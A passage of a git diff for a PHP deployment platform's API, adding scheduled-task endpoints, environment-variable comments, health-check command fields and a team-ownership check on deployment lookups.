(gin|gist)/i', $def)) { + continue; + } + if (str_contains($def, '->>') || str_contains($def, '::')) { + continue; + } + + // Convert to SQLite-compatible CREATE INDEX + $unique = str_contains($def, 'UNIQUE') ? 'UNIQUE ' : ''; + + // Extract columns from the index definition + if (preg_match('/\((.+)\)$/', $def, $m)) { + $cols = $m[1]; + $results[] = "CREATE {$unique}INDEX IF NOT EXISTS \"{$idx->indexname}\" ON \"{$idx->tablename}\" ({$cols});"; + } + } + + return $results; + } +} diff --git a/app/Console/Kernel.php b/app/Console/Kernel.php index d82d3a1b9..c5e12b7ee 100644 --- a/app/Console/Kernel.php +++ b/app/Console/Kernel.php @@ -40,7 +40,7 @@ protected function schedule(Schedule $schedule): void } // $this->scheduleInstance->job(new CleanupStaleMultiplexedConnections)->hourly(); - $this->scheduleInstance->command('cleanup:redis')->weekly(); + $this->scheduleInstance->command('cleanup:redis --clear-locks')->daily(); if (isDev()) { // Instance Jobs diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 1e045ff5a..4576c37d6 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -19,8 +19,8 @@ use App\Rules\ValidGitRepositoryUrl; use App\Services\DockerImageParser; use Illuminate\Http\Request; -use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Http; +use Illuminate\Support\Facades\Validator; use Illuminate\Validation\Rule; use OpenApi\Attributes as OA; use Spatie\Url\Url; @@ -1002,7 +1002,7 @@ private function create_application(Request $request, $type) if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled']; + $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled']; $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', @@ -1101,7 +1101,6 @@ private function create_application(Request $request, $type) 'git_branch' => ['string', 'required', new ValidGitBranch], 'build_pack' => ['required', Rule::enum(BuildPackTypes::class)], 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -1297,7 +1296,6 @@ private function create_application(Request $request, $type) 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', 'github_app_uuid' => 'string|required', 'watch_paths' => 'string|nullable', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -1525,7 +1523,6 @@ private function create_application(Request $request, $type) 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', 'private_key_uuid' => 'string|required', 'watch_paths' => 'string|nullable', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -2463,14 +2460,13 @@ public function update_by_uuid(Request $request) $this->authorize('update', $application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', 'description' => 'string|nullable', 'static_image' => 'string', 'watch_paths' => 'string|nullable', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -2919,10 +2915,7 @@ public function envs(Request $request) new OA\MediaType( mediaType: 'application/json', schema: new OA\Schema( - type: 'object', - properties: [ - 'message' => ['type' => 'string', 'example' => 'Environment variable updated.'], - ] + ref: '#/components/schemas/EnvironmentVariable' ) ), ] @@ -2943,7 +2936,7 @@ public function envs(Request $request) )] public function update_env_by_uuid(Request $request) { - $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']; + $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -2973,6 +2966,7 @@ public function update_env_by_uuid(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -3014,6 +3008,9 @@ public function update_env_by_uuid(Request $request) if ($request->has('is_buildtime') && $env->is_buildtime != $request->is_buildtime) { $env->is_buildtime = $request->is_buildtime; } + if ($request->has('comment') && $env->comment != $request->comment) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -3044,6 +3041,9 @@ public function update_env_by_uuid(Request $request) if ($request->has('is_buildtime') && $env->is_buildtime != $request->is_buildtime) { $env->is_buildtime = $request->is_buildtime; } + if ($request->has('comment') && $env->comment != $request->comment) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -3336,7 +3336,7 @@ public function create_bulk_envs(Request $request) )] public function create_env(Request $request) { - $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']; + $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -3361,6 +3361,7 @@ public function create_env(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -3396,6 +3397,7 @@ public function create_env(Request $request) 'is_shown_once' => $request->is_shown_once ?? false, 'is_runtime' => $request->is_runtime ?? true, 'is_buildtime' => $request->is_buildtime ?? true, + 'comment' => $request->comment ?? null, 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); @@ -3420,6 +3422,7 @@ public function create_env(Request $request) 'is_shown_once' => $request->is_shown_once ?? false, 'is_runtime' => $request->is_runtime ?? true, 'is_buildtime' => $request->is_buildtime ?? true, + 'comment' => $request->comment ?? null, 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index baff3ec4f..a21940257 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -127,6 +127,10 @@ public function deployment_by_uuid(Request $request) if (! $deployment) { return response()->json(['message' => 'Deployment not found.'], 404); } + $application = $deployment->application; + if (! $application || data_get($application->team(), 'id') !== $teamId) { + return response()->json(['message' => 'Deployment not found.'], 404); + } return response()->json($this->removeSensitiveData($deployment)); } diff --git a/app/Http/Controllers/Api/ScheduledTasksController.php b/app/Http/Controllers/Api/ScheduledTasksController.php new file mode 100644 index 000000000..6245dc2ec --- /dev/null +++ b/app/Http/Controllers/Api/ScheduledTasksController.php @@ -0,0 +1,922 @@ +makeHidden([ + 'id', + 'team_id', + 'application_id', + 'service_id', + ]); + + return serializeApiResponse($task); + } + + private function resolveApplication(Request $request, int $teamId): ?Application + { + return Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + } + + private function resolveService(Request $request, int $teamId): ?Service + { + return Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + } + + private function listTasks(Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('view', $resource); + + $tasks = $resource->scheduled_tasks->map(function ($task) { + return $this->removeSensitiveData($task); + }); + + return response()->json($tasks); + } + + private function createTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('update', $resource); + + $return = validateIncomingRequest($request); + if ($return instanceof \Illuminate\Http\JsonResponse) { + return $return; + } + + $allowedFields = ['name', 'command', 'frequency', 'container', 'timeout', 'enabled']; + + $validator = customApiValidator($request->all(), [ + 'name' => 'required|string|max:255', + 'command' => 'required|string', + 'frequency' => 'required|string', + 'container' => 'string|nullable', + 'timeout' => 'integer|min:1', + 'enabled' => 'boolean', + ]); + + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + if (! validate_cron_expression($request->frequency)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['frequency' => ['Invalid cron expression or frequency format.']], + ], 422); + } + + $teamId = getTeamIdFromToken(); + + $task = new ScheduledTask; + $task->name = $request->name; + $task->command = $request->command; + $task->frequency = $request->frequency; + $task->container = $request->container; + $task->timeout = $request->has('timeout') ? $request->timeout : 300; + $task->enabled = $request->has('enabled') ? $request->enabled : true; + $task->team_id = $teamId; + + if ($resource instanceof Application) { + $task->application_id = $resource->id; + } elseif ($resource instanceof Service) { + $task->service_id = $resource->id; + } + + $task->save(); + + return response()->json($this->removeSensitiveData($task), 201); + } + + private function updateTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('update', $resource); + + $return = validateIncomingRequest($request); + if ($return instanceof \Illuminate\Http\JsonResponse) { + return $return; + } + + if ($request->all() === []) { + return response()->json(['message' => 'At least one field must be provided.'], 422); + } + + $allowedFields = ['name', 'command', 'frequency', 'container', 'timeout', 'enabled']; + + $validator = customApiValidator($request->all(), [ + 'name' => 'string|max:255', + 'command' => 'string', + 'frequency' => 'string', + 'container' => 'string|nullable', + 'timeout' => 'integer|min:1', + 'enabled' => 'boolean', + ]); + + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + if ($request->has('frequency') && ! validate_cron_expression($request->frequency)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['frequency' => ['Invalid cron expression or frequency format.']], + ], 422); + } + + $task = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); + if (! $task) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + $task->update($request->only($allowedFields)); + + return response()->json($this->removeSensitiveData($task), 200); + } + + private function deleteTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('update', $resource); + + $deleted = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->delete(); + if (! $deleted) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + return response()->json(['message' => 'Scheduled task deleted.']); + } + + private function getExecutions(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('view', $resource); + + $task = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); + if (! $task) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + $executions = $task->executions()->get()->map(function ($execution) { + $execution->makeHidden(['id', 'scheduled_task_id']); + + return serializeApiResponse($execution); + }); + + return response()->json($executions); + } + + #[OA\Get( + summary: 'List Tasks', + description: 'List all scheduled tasks for an application.', + path: '/applications/{uuid}/scheduled-tasks', + operationId: 'list-scheduled-tasks-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Get all scheduled tasks for an application.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTask') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function scheduled_tasks_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->listTasks($application); + } + + #[OA\Post( + summary: 'Create Task', + description: 'Create a new scheduled task for an application.', + path: '/applications/{uuid}/scheduled-tasks', + operationId: 'create-scheduled-task-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['name', 'command', 'frequency'], + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 201, + description: 'Scheduled task created.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->createTask($request, $application); + } + + #[OA\Patch( + summary: 'Update Task', + description: 'Update a scheduled task for an application.', + path: '/applications/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'update-scheduled-task-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->updateTask($request, $application); + } + + #[OA\Delete( + summary: 'Delete Task', + description: 'Delete a scheduled task for an application.', + path: '/applications/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'delete-scheduled-task-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task deleted.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Scheduled task deleted.'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function delete_scheduled_task_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->deleteTask($request, $application); + } + + #[OA\Get( + summary: 'List Executions', + description: 'List all executions for a scheduled task on an application.', + path: '/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', + operationId: 'list-scheduled-task-executions-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Get all executions for a scheduled task.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTaskExecution') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function executions_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = $this->resolveApplication($request, $teamId); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->getExecutions($request, $application); + } + + #[OA\Get( + summary: 'List Tasks', + description: 'List all scheduled tasks for a service.', + path: '/services/{uuid}/scheduled-tasks', + operationId: 'list-scheduled-tasks-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Get all scheduled tasks for a service.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTask') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function scheduled_tasks_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->listTasks($service); + } + + #[OA\Post( + summary: 'Create Task', + description: 'Create a new scheduled task for a service.', + path: '/services/{uuid}/scheduled-tasks', + operationId: 'create-scheduled-task-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['name', 'command', 'frequency'], + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 201, + description: 'Scheduled task created.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->createTask($request, $service); + } + + #[OA\Patch( + summary: 'Update Task', + description: 'Update a scheduled task for a service.', + path: '/services/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'update-scheduled-task-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 300], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->updateTask($request, $service); + } + + #[OA\Delete( + summary: 'Delete Task', + description: 'Delete a scheduled task for a service.', + path: '/services/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'delete-scheduled-task-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new 